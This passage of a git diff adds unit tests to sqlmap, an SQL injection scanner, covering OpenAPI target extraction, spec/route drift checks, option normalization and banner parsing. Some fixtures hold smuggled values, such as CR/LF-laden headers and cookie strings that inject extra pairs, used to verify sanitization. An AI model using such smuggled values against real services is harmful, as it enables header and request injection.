"https://real.com/v1/x") + + def test_headers_are_hashable_tuples(self): + # kb.targets is an OrderedSet, so the emitted headers must be hashable (tuple, not list) + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "h", "in": "header", "schema": {"type": "string"}}]}}}} + headers = _targets(spec)[0][3] + self.assertTrue(headers is None or isinstance(tuple(headers), tuple)) + + def test_header_and_cookie_params_are_injection_marked(self): + # header/cookie params get the custom injection mark ('*') appended so they become testable + # (custom) injection points (query/body params are still auto-tested alongside them) + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "X-Api", "in": "header", "schema": {"type": "string", "example": "k"}}, + {"name": "sess", "in": "cookie", "schema": {"type": "string", "example": "v"}}]}}}} + headers = dict(_targets(spec)[0][3]) + self.assertEqual(headers["X-Api"], "k" + MARK) + self.assertEqual(headers["Cookie"], "sess=v" + MARK) + + def test_tag_filter_restricts_operations(self): + # '--openapi-tags' keeps only operations declaring at least one requested tag; untagged + # operations are dropped when a filter is active + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.test"}], "paths": { + "/users/{id}": {"get": {"tags": ["users"], "parameters": [{"name": "id", "in": "path", "schema": {"type": "integer"}}]}}, + "/admin": {"post": {"tags": ["admin"], "parameters": [{"name": "q", "in": "query", "schema": {"type": "string"}}]}}, + "/ping": {"get": {"parameters": [{"name": "x", "in": "query", "schema": {"type": "string"}}]}}}} + content = json.dumps(spec) + + self.assertEqual(len(openApiTargets(content)), 3) # no filter -> everything + self.assertEqual(len(openApiTargets(content, tags=["nope"])), 0) # no match -> nothing (incl. untagged) + + users = openApiTargets(content, tags=["users"]) + self.assertEqual(len(users), 1) + self.assertIn("/users/", users[0][0]) + + both = openApiTargets(content, tags=["users", "admin"]) # union of tags + self.assertEqual(sorted(_[1] for _ in both), ["GET", "POST"]) + + # --- graceful degradation: a broken/poorly-defined spec must never crash the parser --- + + def test_malformed_raises_valueerror(self): + for bad in ("{not json,,,", "[1,2,3]", "{}", '{"openapi":"3.0.0"}', '{"openapi":"3.0.0","paths":[1,2]}'): + self.assertRaises(ValueError, openApiTargets, bad, "http://h") + + def test_malformed_servers_do_not_crash(self): + for servers in ('{"url":"/a"}', '"http://h"', "[]"): + spec = '{"openapi":"3.0.0","servers":%s,"paths":{"/x":{"get":{}}}}' % servers + self.assertEqual(len(openApiTargets(spec, "http://h")), 1) # no crash, still one target + + def test_url_and_body_values_are_encoded(self): + # special characters in synthesized values must be percent-encoded so they can not break the + # URL structure (param smuggling) or the form body + spec = {"openapi": "3.0.0", "paths": { + "/x/{p}": {"get": {"parameters": [ + {"name": "p", "in": "path", "schema": {"type": "string", "example": "a/b"}}, + {"name": "q", "in": "query", "schema": {"type": "string", "example": "a b&c=d"}}]}}, + "/f": {"post": {"requestBody": {"content": {"application/x-www-form-urlencoded": + {"schema": {"type": "object", "properties": {"u": {"type": "string", "example": "a b&x"}}}}}}}}}} + byMethod = dict((method, (url, data)) for url, method, data, headers in _targets(spec)) + getUrl = byMethod["GET"][0] + self.assertIn("/x/a%2Fb", getUrl) # path value '/' encoded (no extra segment) + self.assertIn("q=a%20b%26c%3Dd", getUrl) # query value space/&/= encoded (no smuggling) + self.assertNotIn(" ", getUrl) + self.assertEqual(byMethod["POST"][1], "u=a%20b%26x") + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_yaml_spec(self): + y = ("openapi: 3.0.0\n" + "paths:\n" + " /y:\n" + " get:\n" + " parameters:\n" + " - name: q\n" + " in: query\n" + " schema: {type: string, example: hi}\n") + targets = openApiTargets(y, "http://h") + self.assertEqual(len(targets), 1) + self.assertEqual(targets[0][0], "http://h/y?q=hi") + + def test_shared_recursive_refs_scale(self): + # a self-referential schema reused across many operations must terminate promptly (depth cap + + # per-$ref memoization); without them this would blow up exponentially and hang the test + schemas = {"Node": {"type": "object", "properties": { + "name": {"type": "string"}, + "child": {"$ref": "#/components/schemas/Node"}, + "list": {"type": "array", "items": {"$ref": "#/components/schemas/Node"}}}}} + paths = dict(("/n%d" % i, {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/Node"}}}}}}) for i in range(60)) + targets = _targets({"openapi": "3.0.0", "components": {"schemas": schemas}, "paths": paths}) + self.assertEqual(len(targets), 60) + self.assertEqual(json.loads(targets[0][2]).get("name"), "1") + + def test_swagger_v2_formdata_body(self): + # in:"formData" params must become a urlencoded body (previously dropped -> empty POST) + spec = {"swagger": "2.0", "host": "h", "paths": {"/l": {"post": {"parameters": [ + {"name": "u", "in": "formData", "type": "string"}, + {"name": "p", "in": "formData", "type": "string"}]}}}} + url, method, data, headers = _targets(spec, None)[0] + self.assertEqual(method, "POST") + self.assertEqual(sorted(data.split("&")), ["p=1", "u=1"]) + + def test_relative_base_is_skipped(self): + # a spec that yields no scheme/host (relative server + no origin) must be skipped, not emitted + spec = {"openapi": "3.0.0", "servers": [{"url": "/api"}], "paths": {"/x": {"get": {}}}} + self.assertEqual(openApiTargets(json.dumps(spec), None), []) # relative -> skipped + self.assertEqual(len(openApiTargets(json.dumps(spec), "http://h")), 1) # absolute with origin -> kept + + def test_unsupported_body_media_type_no_crash(self): + # a structured body under a non-JSON/form media type must not crash and must not fabricate a body, + # but the endpoint URL is still produced + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/xml": + {"schema": {"type": "object", "properties": {"a": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual((url, method, data), ("http://h/x", "POST", None)) + + def test_injection_mark_char_in_value_is_not_doubled(self): + # an example value already containing the custom injection mark must not create a stray point + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": { + "parameters": [{"name": "H", "in": "header", "schema": {"type": "string", "example": "a%sb" % MARK}}], + "requestBody": {"content": {"application/json": {"schema": {"type": "object", + "properties": {"n": {"type": "string", "example": "x%sy" % MARK}}}}}}}}}} + url, method, data, headers = _targets(spec)[0] + self.assertEqual(dict(headers)["H"], "ab" + MARK) # single trailing mark only + self.assertEqual(json.loads(data), {"n": "xy"}) # mark stripped from body value + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_non_string_method_keys_do_not_crash(self): + # YAML path-item keys are not guaranteed to be strings (404 -> int, on -> bool); must not crash + y = ("openapi: 3.0.0\n" + "servers: [{url: 'http://h'}]\n" + "paths:\n" + " /x:\n" + " get: {}\n" + " 404: {}\n" + " on: {}\n") + targets = openApiTargets(y, "http://h") + self.assertEqual(len(targets), 1) # only the real GET operation + self.assertEqual(targets[0][1], "GET") + + def test_hostile_base_url_metadata_does_not_crash(self): + # _baseUrl runs once, OUTSIDE the per-operation try, so malformed server/scheme/basePath metadata + # must not raise (it would abort the entire extraction) + hostile = [ + {"openapi": "3.0.0", "servers": [{"url": "https://{e}.x/", "variables": [1, 2]}], "paths": {"/x": {"get": {}}}}, + {"openapi": "3.0.0", "servers": [{"url": "https://{e}.x/", "variables": {"e": "prod"}}], "paths": {"/x": {"get": {}}}}, + {"openapi": "3.0.0", "servers": [{"url": 123}], "paths": {"/x": {"get": {}}}}, + {"swagger": "2.0", "host": "h", "schemes": {"a": 1}, "paths": {"/x": {"get": {}}}}, + {"swagger": "2.0", "host": "h", "basePath": 123, "paths": {"/x": {"get": {}}}}] + for spec in hostile: + self.assertEqual(len(_targets(spec)), 1) # no crash, still one target + + def test_param_entry_not_a_dict_is_skipped(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": ["oops", {"name": "q", "in": "query"}]}}}} + self.assertIn("q=1", _targets(spec)[0][0]) # bad entry skipped, good one still used + + @unittest.skipUnless(HAS_YAML, "pyyaml not available") + def test_yaml_date_examples_serialize(self): + # unquoted YAML dates parse to datetime.date, which is not JSON-serializable -> must be stringified, + # not silently dropped (dates are pervasive in real specs) + y = ("openapi: 3.0.0\n" + "servers: [{url: 'http://h'}]\n" + "paths:\n" + " /x:\n" + " post:\n" + " requestBody:\n" + " content:\n" + " application/json:\n" + " schema: {type: object, properties: {created: {type: string, example: 2020-01-01}}}\n") + url, method, data, headers = openApiTargets(y, "http://h")[0] + self.assertEqual(json.loads(data), {"created": "2020-01-01"}) + + def test_crlf_in_header_and_cookie_is_stripped(self): + # a spec-supplied header/cookie name or value must not carry CR/LF (header injection / request + # corruption); query/path values are separately percent-encoded + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "X-A", "in": "header", "schema": {"type": "string", "example": "a\r\nX-Evil: 1"}}, + {"name": "X\r\nB", "in": "header", "schema": {"type": "string", "example": "v"}}, + {"name": "sid", "in": "cookie", "schema": {"type": "string", "example": "a\r\nSet: x"}}]}}}} + headers = dict(_targets(spec)[0][3]) + for name, value in headers.items(): + self.assertNotIn("\r", name + value) + self.assertNotIn("\n", name + value) + self.assertIn("X-A", headers) + self.assertIn("XB", headers) # control chars removed from the name + + def test_explicit_examples_preferred_over_schema(self): + # a concrete example/examples on the media-type or parameter object must win over schema synthesis + # (real specs carry the canonical, validation-passing value there) + body = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": { + "schema": {"type": "object", "properties": {"name": {"type": "string"}}}, "example": {"name": "real"}}}}}}}} + self.assertEqual(json.loads(_targets(body)[0][2]), {"name": "real"}) + examples = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": { + "schema": {"type": "object"}, "examples": {"first": {"value": {"k": "v1"}}}}}}}}}} + self.assertEqual(json.loads(_targets(examples)[0][2]), {"k": "v1"}) + param = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "q", "in": "query", "example": "E", "schema": {"type": "string"}}]}}}} + self.assertIn("q=E", _targets(param)[0][0]) + + def test_openapi_31_const_and_type_array(self): + spec = {"openapi": "3.1.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "c", "in": "query", "schema": {"const": "CV"}}, + {"name": "n", "in": "query", "schema": {"type": ["integer", "null"]}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("c=CV", url) # const used + self.assertIn("n=1", url) # ["integer","null"] resolved to integer, not the generic fallback + + def test_parameter_names_are_encoded(self): + # a param NAME with structural chars must be encoded so it can not split/smuggle params or truncate + # at a fragment; deep-object brackets ([]) are preserved + spec = {"openapi": "3.0.0", "paths": { + "/q": {"get": {"parameters": [ + {"name": "a&b=c", "in": "query", "schema": {"type": "string"}}, + {"name": "a#b", "in": "query", "schema": {"type": "string"}}, + {"name": "filter[status]", "in": "query", "schema": {"type": "string"}}]}}, + "/f": {"post": {"requestBody": {"content": {"application/x-www-form-urlencoded": + {"schema": {"type": "object", "properties": {"x&y": {"type": "string"}}}}}}}}}} + byMethod = dict((method, (url, data)) for url, method, data, headers in _targets(spec)) + getUrl = byMethod["GET"][0] + self.assertIn("a%26b%3Dc=1", getUrl) + self.assertIn("a%23b=1", getUrl) + self.assertIn("filter[status]=1", getUrl) # brackets kept (deep-object param names) + self.assertNotIn("#", getUrl) + self.assertEqual(byMethod["POST"][1], "x%26y=1") + + def test_undefined_template_var_does_not_leak(self): + # a server/path template variable with no definition must not leave a literal '{...}' in the URL + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.x.com/{basePath}/v3"}], + "paths": {"/pets": {"get": {}}}} + url = _targets(spec, "http://h")[0][0] + self.assertNotIn("{", url) + self.assertEqual(url, "https://api.x.com/1/v3/pets") # absolute server used as-is (host not rewritten) + + def test_absolute_server_url_is_not_rewritten_to_origin(self): + # a spec served from one host but declaring an absolute API server on another host must scan the + # DECLARED API host, not the spec's origin + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.example.com/v1"}], + "paths": {"/pets": {"get": {}}}} + self.assertEqual(_targets(spec, "https://docs.example.com")[0][0], "https://api.example.com/v1/pets") + + def test_path_parameter_is_injection_marked(self): + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/users/{id}": {"get": {"parameters": [ + {"name": "id", "in": "path", "schema": {"type": "integer"}}]}}}} + self.assertEqual(_targets(spec)[0][0], "http://h/users/1" + MARK) + + def test_form_urlencoded_sets_content_type_and_multipart_skipped(self): + form = {"openapi": "3.0.0", "paths": {"/f": {"post": {"requestBody": {"content": + {"application/x-www-form-urlencoded": {"schema": {"type": "object", "properties": {"u": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(form)[0] + self.assertEqual(data, "u=1") + self.assertIn(("Content-Type", "application/x-www-form-urlencoded"), headers) + multipart = {"openapi": "3.0.0", "paths": {"/m": {"post": {"requestBody": {"content": + {"multipart/form-data": {"schema": {"type": "object", "properties": {"u": {"type": "string"}}}}}}}}}} + url, method, data, headers = _targets(multipart)[0] + self.assertIsNone(data) # multipart is skipped, not mis-serialized as urlencoded + + def test_path_item_ref_is_resolved(self): + spec = {"openapi": "3.1.0", + "components": {"pathItems": {"Ping": {"get": {"parameters": [ + {"name": "q", "in": "query", "schema": {"type": "string", "example": "z"}}]}}}}, + "paths": {"/ping": {"$ref": "#/components/pathItems/Ping"}}} + targets = _targets(spec) + self.assertEqual(len(targets), 1) + self.assertIn("q=z", targets[0][0]) + + def test_operation_parameter_overrides_path_level(self): + spec = {"openapi": "3.0.0", "paths": {"/x": { + "parameters": [{"name": "q", "in": "query", "schema": {"type": "string", "example": "shared"}}], + "get": {"parameters": [{"name": "q", "in": "query", "schema": {"type": "string", "example": "op"}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("q=op", url) # operation value wins + self.assertEqual(url.count("q="), 1) # not duplicated + + def test_multiple_cookies_aggregate_into_one_header(self): + from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a", "in": "cookie", "schema": {"type": "string"}}, + {"name": "b", "in": "cookie", "schema": {"type": "string"}}]}}}} + headers = _targets(spec)[0][3] + cookieHeaders = [v for (k, v) in headers if k == "Cookie"] + self.assertEqual(cookieHeaders, ["a=1%s; b=1%s" % (MARK, MARK)]) # one aggregated Cookie header + + def test_cookie_name_value_cannot_smuggle_pairs(self): + # a cookie name that is not a token is dropped; structural chars in the value ('; ,' / whitespace) + # are stripped so a spec can not inject additional cookie pairs + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "a; injected", "in": "cookie", "schema": {"type": "string"}}, + {"name": "sid", "in": "cookie", "schema": {"type": "string", "example": "v; z=1"}}]}}}} + cookieHeaders = [v for (k, v) in (_targets(spec)[0][3] or []) if k == "Cookie"] + self.assertEqual(len(cookieHeaders), 1) + cookie = cookieHeaders[0] + self.assertNotIn(";", cookie.rstrip("*")) # no interior ';' -> no smuggled pair + self.assertNotIn("injected", cookie) # invalid cookie name dropped + self.assertNotIn(" ", cookie) + + def test_loose_path_without_leading_slash(self): + # a malformed path key missing its leading '/' must not glue onto the base (".../v1pets") + spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.x/v1"}], "paths": {"pets": {"get": {}}}} + self.assertEqual(_targets(spec, None)[0][0], "https://api.x/v1/pets") + + def test_array_query_param_is_best_effort_scalar(self): + # documents current best-effort behavior: an array query param is scalarized+encoded, NOT expanded + # per style/explode. If richer serialization is added later, update this expectation deliberately. + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "ids", "in": "query", "schema": {"type": "array", "items": {"type": "integer"}}}]}}}} + url = _targets(spec)[0][0] + self.assertIn("ids=", url) + self.assertNotIn(" ", url) # whatever the encoding, it must not break the URL + self.assertTrue(url.startswith("http://h/x?ids=")) + + def test_invalid_header_name_is_skipped(self): + spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "Bad Name", "in": "header", "schema": {"type": "string"}}, + {"name": "Also:Bad", "in": "header", "schema": {"type": "string"}}, + {"name": "X-Good", "in": "header", "schema": {"type": "string"}}]}}}} + headers = dict(_targets(spec)[0][3] or []) + self.assertIn("X-Good", headers) + self.assertNotIn("Bad Name", headers) + self.assertNotIn("Also:Bad", headers) + + def test_explicit_null_example_falls_back_to_schema(self): + # 'example: null' must not serialize as null/"null" - fall back to schema synthesis + q = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [ + {"name": "q", "in": "query", "example": None, "schema": {"type": "string", "example": "good"}}]}}}} + self.assertIn("q=good", _targets(q)[0][0]) + b = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": + {"example": None, "schema": {"type": "object", "properties": {"a": {"type": "integer"}}}}}}}}}} + self.assertEqual(json.loads(_targets(b)[0][2]), {"a": 1}) + + def test_degrade_not_skip_on_odd_shapes(self): + # enum-as-dict, non-string param name, and content[type]-as-list must degrade (op preserved) + for spec in ( + {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [{"name": "q", "in": "query", "schema": {"enum": {"a": 1}}}]}}}}, + {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [{"name": 5, "in": "header", "schema": {"type": "string"}}]}}}}, + {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": [1, 2]}}}}}}): + self.assertEqual(len(_targets(spec)), 1) + + def test_malformed_ref_and_properties_degrade_not_skip(self): + # a non-string/unhashable $ref or a non-dict 'properties' must degrade the value (not lose the op) + for schema in ({"$ref": 123}, {"$ref": [1, 2]}, {"type": "object", "properties": [1, 2]}): + spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": + {"content": {"application/json": {"schema": schema}}}}}}} + self.assertEqual(len(_targets(spec)), 1) # operation preserved, not skipped + + def test_undefined_bits_are_skipped_not_fatal(self): + spec = {"openapi": "3.0.0", "paths": { + "/a": {"get": {"parameters": [{}]}}, # param with no name + "/b": {"post": {"requestBody": {"content": {"application/json": + {"schema": {"$ref": "#/components/schemas/DoesNotExist"}}}}}}, # dangling $ref + "/c": {"get": {"parameters": [{"name": "p", "in": "query", + "schema": {"$ref": "https://other/x.json#/Y"}}]}}}} # external $ref + targets = _targets(spec) + self.assertEqual(len(targets), 3) # all three still produced + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_openapi_drift.py b/tests/test_openapi_drift.py new file mode 100644 index 00000000000..1ed84c2b825 --- /dev/null +++ b/tests/test_openapi_drift.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Contract test: the OpenAPI spec (sqlmapapi.yaml) must stay in lock-step with the +REST API actually served by lib/utils/api.py. The spec is hand-maintained, so it +is the exact thing that silently drifts when an endpoint is added/renamed/retyped. + +This walks the live Bottle route table (every @get/@post registers at import time) +and the spec's `paths:` block, and asserts the (method, path) sets are identical +in BOTH directions - no undocumented route, no phantom spec entry - plus that the +spec's advertised version matches the runtime RESTAPI_VERSION. + +PyYAML is not bundled (and the suite is stdlib-only / no pip), so the spec is read +with a tiny indentation-aware scanner that only needs the paths + info.version. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +__import__("lib.utils.api") # registers Bottle routes (side-effect import) +from lib.core.settings import RESTAPI_VERSION +from thirdparty.bottle.bottle import default_app + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +SPEC = os.path.join(ROOT, "sqlmapapi.yaml") + +# Bottle-only routes that are not part of the documented public contract +INTERNAL_RULES = ("/error/401",) + +HTTP_METHODS = ("get", "post", "put", "delete", "patch", "head", "options") + + +def _normalize_rule(rule): + # Bottle '' / '' -> OpenAPI '{taskid}' / '{filename}' + return re.sub(r"<([^:>]+)(?::[^>]+)?>", r"{\1}", rule) + + +def _app_pairs(): + pairs = set() + for route in default_app().routes: + rule = _normalize_rule(route.rule) + if rule in INTERNAL_RULES: + continue + pairs.add((route.method.lower(), rule)) + return pairs + + +def _spec_paths_and_version(text): + """Returns (set of (method, path), info.version) from the YAML text.""" + pairs = set() + version = None + section = None + current_path = None + + for line in text.splitlines(): + if not line.strip() or line.lstrip().startswith("#"): + continue + + top = re.match(r"^(\S[^:]*):", line) # a column-0 key starts a new top-level section + if top: + section = top.group(1) + current_path = None + continue + + if section == "info": + m = re.match(r"^ version:\s*(.+?)\s*$", line) + if m: + version = m.group(1).strip().strip('"').strip("'") + elif section == "paths": + m = re.match(r"^ (/\S*):\s*$", line) # 2-space path key + if m: + current_path = m.group(1) + continue + m = re.match(r"^ (\w+):\s*$", line) # 4-space method key + if m and current_path and m.group(1).lower() in HTTP_METHODS: + pairs.add((m.group(1).lower(), current_path)) + + return pairs, version + + +class TestOpenAPIDrift(unittest.TestCase): + def setUp(self): + with open(SPEC) as f: + self.spec_pairs, self.spec_version = _spec_paths_and_version(f.read()) + self.app_pairs = _app_pairs() + + def test_parsers_found_something(self): + # guard against a silently-empty parse making the equality checks vacuously pass + self.assertTrue(len(self.app_pairs) >= 15, self.app_pairs) + self.assertEqual(len(self.spec_pairs), len(self.app_pairs)) + + def test_no_undocumented_endpoint(self): + missing = self.app_pairs - self.spec_pairs + self.assertEqual(missing, set(), "served but absent from sqlmapapi.yaml: %s" % sorted(missing)) + + def test_no_phantom_spec_entry(self): + extra = self.spec_pairs - self.app_pairs + self.assertEqual(extra, set(), "in sqlmapapi.yaml but not served: %s" % sorted(extra)) + + def test_version_matches_runtime(self): + self.assertEqual(self.spec_version, RESTAPI_VERSION, "sqlmapapi.yaml version '%s' != RESTAPI_VERSION '%s'" % (self.spec_version, RESTAPI_VERSION)) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_option.py b/tests/test_option.py new file mode 100644 index 00000000000..c4e10cc1eba --- /dev/null +++ b/tests/test_option.py @@ -0,0 +1,1650 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Option setup / normalization helpers in lib/core/option.py. + +These exercise the (mostly) pure config-massaging functions that parse, validate +and normalize user-supplied option values into the canonical conf.*/kb.* shapes +that the rest of sqlmap relies on - WITHOUT touching the network, the DBMS, the +filesystem (beyond what bootstrap already set up) or any interactive prompt. + +option.py mutates the global conf/kb singletons aggressively, so every test that +writes a conf/kb field saves and restores it via the _preserve() helper so the +shared state stays pristine for the other test files in the suite. +""" + +import contextlib +import logging +import os +import re +import socket +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + +from lib.core.data import conf, kb, logger +from lib.core.common import Backend +from lib.core.enums import AUTH_TYPE +from lib.core.optiondict import optDict +from lib.core.enums import HTTP_HEADER +from lib.core.settings import DEFAULT_USER_AGENT +from lib.core.settings import IGNORE_CODE_WILDCARD +from lib.core.settings import MAX_CONNECT_RETRIES +from lib.core.settings import NONSQL_TECHNIQUES +from lib.core.exception import SqlmapFilePathException +from lib.core.exception import SqlmapGenericException +from lib.core.exception import SqlmapMissingMandatoryOptionException +from lib.core.exception import SqlmapSyntaxException +from lib.core.exception import SqlmapSystemException +from lib.core.exception import SqlmapUnsupportedDBMSException +from lib.core.exception import SqlmapValueException +from thirdparty.six.moves import urllib as _urllib + +import lib.core.option as option + +_SENTINEL = object() + +# scratchpad for the preprocess/postprocess/safe-req fixture files +_SCRATCH = os.environ.get("CLAUDE_SCRATCH") or os.path.join(os.path.dirname(os.path.abspath(__file__)), "_option_more_tmp") + +# conf/kb fields that Backend.getIdentifiedDbms()/getOs() consult; any test that +# might touch DBMS/OS forcing snapshots ALL of them so no fingerprint state leaks +# into sibling test files (e.g. test_target_parsing's resume tests). +_BACKEND_CONF_KEYS = ("dbms", "forceDbms", "os") +_BACKEND_KB_KEYS = ("dbms", "dbmsVersion", "forcedDbms", "dbmsFilter", "os", "osVersion", "osSP") + + +def tearDownModule(): + """Remove the scratch fixture directory so it never lingers on disk (and so a + stray __init__.py there can't shadow imports in a subsequent run).""" + import shutil + if os.path.isdir(_SCRATCH): + shutil.rmtree(_SCRATCH, ignore_errors=True) + + +class _BackendGuard(unittest.TestCase): + """Mixin: fully snapshot & restore Backend-relevant conf/kb state per test.""" + + def setUp(self): + super(_BackendGuard, self).setUp() + self._snap_conf = {k: (conf[k] if k in conf else _SENTINEL) for k in _BACKEND_CONF_KEYS} + self._snap_kb = {k: (kb[k] if k in kb else _SENTINEL) for k in _BACKEND_KB_KEYS} + + def tearDown(self): + for store, snap, keys in ((conf, self._snap_conf, _BACKEND_CONF_KEYS), + (kb, self._snap_kb, _BACKEND_KB_KEYS)): + for k in keys: + if snap[k] is _SENTINEL: + try: + del store[k] + except KeyError: + pass + else: + store[k] = snap[k] + super(_BackendGuard, self).tearDown() + + +@contextlib.contextmanager +def _preserve(target, *keys): + """Save the given keys of an AttribDict (conf/kb), then restore on exit. + + Missing keys are restored to absent so a test can't leak a brand-new field. + """ + saved = {} + for key in keys: + saved[key] = target[key] if key in target else _SENTINEL + try: + yield + finally: + for key in keys: + if saved[key] is _SENTINEL: + try: + del target[key] + except KeyError: + pass + else: + target[key] = saved[key] + + +class _ImportSandboxMixin(object): + """Loaders in option.py (tamper/preprocess/postprocess) permanently + `sys.path.insert(0,

      this

      "), + u"keep this") + + def test_keeps_tags_when_not_only_text(self): + self.assertEqual(getFilteredPageContent(u"

      a

      b

      ", onlyText=False), + u"

      a

      b

      ") + + def test_bytes_input_unchanged(self): + # GOTCHA: tag stripping only engages for unicode input (charset-identified pages) + raw = b"x" + self.assertEqual(getFilteredPageContent(raw), raw) + + +class TestPageWordSet(unittest.TestCase): + def test_words(self): + self.assertEqual(sorted(getPageWordSet(u"foobartest")), + [u"foobar", u"test"]) + + +class TestExtractTextTagContent(unittest.TestCase): + def test_multiple_tags(self): + self.assertEqual(extractTextTagContent(u"Welcome

      Body text

      "), + [u"Welcome", u"Body text"]) + + +class TestParseSqliteTableSchema(unittest.TestCase): + def setUp(self): + # parseSqliteTableSchema keys cachedColumns by conf.db/conf.tbl - reset them (not just + # cachedColumns) so a leaked db/tbl from a prior test can't shift the storage key and + # break this test's [None][None] lookup (order-dependent flake under PyPy discovery) + self.addCleanup(setattr, kb.data, "cachedColumns", kb.data.get("cachedColumns")) + self.addCleanup(setattr, conf, "db", conf.get("db")) + self.addCleanup(setattr, conf, "tbl", conf.get("tbl")) + kb.data.cachedColumns = {} + conf.db = conf.tbl = None + + def _cols(self): + # parseSqliteTableSchema stores under cachedColumns[db][table] (both None here) + return dict(kb.data.cachedColumns[None][None]) + + def test_basic_columns_and_types(self): + parseSqliteTableSchema("CREATE TABLE users(id INTEGER PRIMARY KEY, name TEXT, age INT)") + cols = self._cols() + self.assertEqual(cols["id"], "INTEGER") + self.assertEqual(cols["name"], "TEXT") + self.assertEqual(cols["age"], "INT") + + def test_quoted_identifiers_and_sized_types(self): + parseSqliteTableSchema('CREATE TABLE "t"("id" INTEGER, "n" VARCHAR(50), flag BOOLEAN)') + cols = self._cols() + self.assertIn("id", cols) + self.assertEqual(cols["n"], "VARCHAR") # size dropped + self.assertEqual(cols["flag"], "BOOLEAN") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_parse_modules.py b/tests/test_parse_modules.py new file mode 100644 index 00000000000..f94a4d27b10 --- /dev/null +++ b/tests/test_parse_modules.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Parsers under lib/parse/: DBMS banner fingerprinting (banner.py + the shared +FingerprintHandler in handler.py) and the .ini configuration-file reader +(configfile.py). These are pure: given a banner string (and the shipped XML +signature files) or a config file on disk, they populate kb/conf with no +network or DBMS. We drive each over realistic inputs and assert the extracted +fingerprint / parsed options. +""" + +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core.data import kb, conf +from lib.core.enums import DBMS +from lib.parse.banner import bannerParser, MSSQLBannerHandler +from lib.parse.handler import FingerprintHandler + + +class TestFingerprintHandler(unittest.TestCase): + def test_feedinfo_dbms_version_scalar(self): + info = {} + h = FingerprintHandler("some banner", info) + h._feedInfo("dbmsVersion", "5.7.1") + self.assertEqual(info["dbmsVersion"], "5.7.1") + + def test_feedinfo_set_valued_keys_split_on_pipe(self): + info = {} + h = FingerprintHandler("some banner", info) + h._feedInfo("type", "Linux|Debian") + self.assertIsInstance(info["type"], set) + self.assertEqual(info["type"], set(["Linux", "Debian"])) + + def test_feedinfo_ignores_empty_and_none(self): + info = {} + h = FingerprintHandler("b", info) + h._feedInfo("type", "") + h._feedInfo("type", "None") + h._feedInfo("type", None) + self.assertNotIn("type", info) + + +class TestBannerParser(unittest.TestCase): + def setUp(self): + self._saved = kb.bannerFp + kb.bannerFp = {} + + def tearDown(self): + kb.bannerFp = self._saved + + def test_no_dbms_is_noop(self): + # without an identified DBMS bannerParser must bail out before touching kb.bannerFp + from lib.core.common import Backend + Backend.flushForcedDbms(force=True) + saved = (conf.get("forceDbms"), kb.get("dbms")) + conf.forceDbms = None + kb.dbms = None + try: + kb.bannerFp = {} + self.assertIsNone(bannerParser("PostgreSQL 9.5.3 on x86_64-pc-linux-gnu")) + # no back-end identified -> the early return leaves the fingerprint untouched + self.assertEqual(kb.bannerFp, {}) + finally: + conf.forceDbms, kb.dbms = saved + + def test_mysql_banner_populates_version(self): + set_dbms(DBMS.MYSQL) + 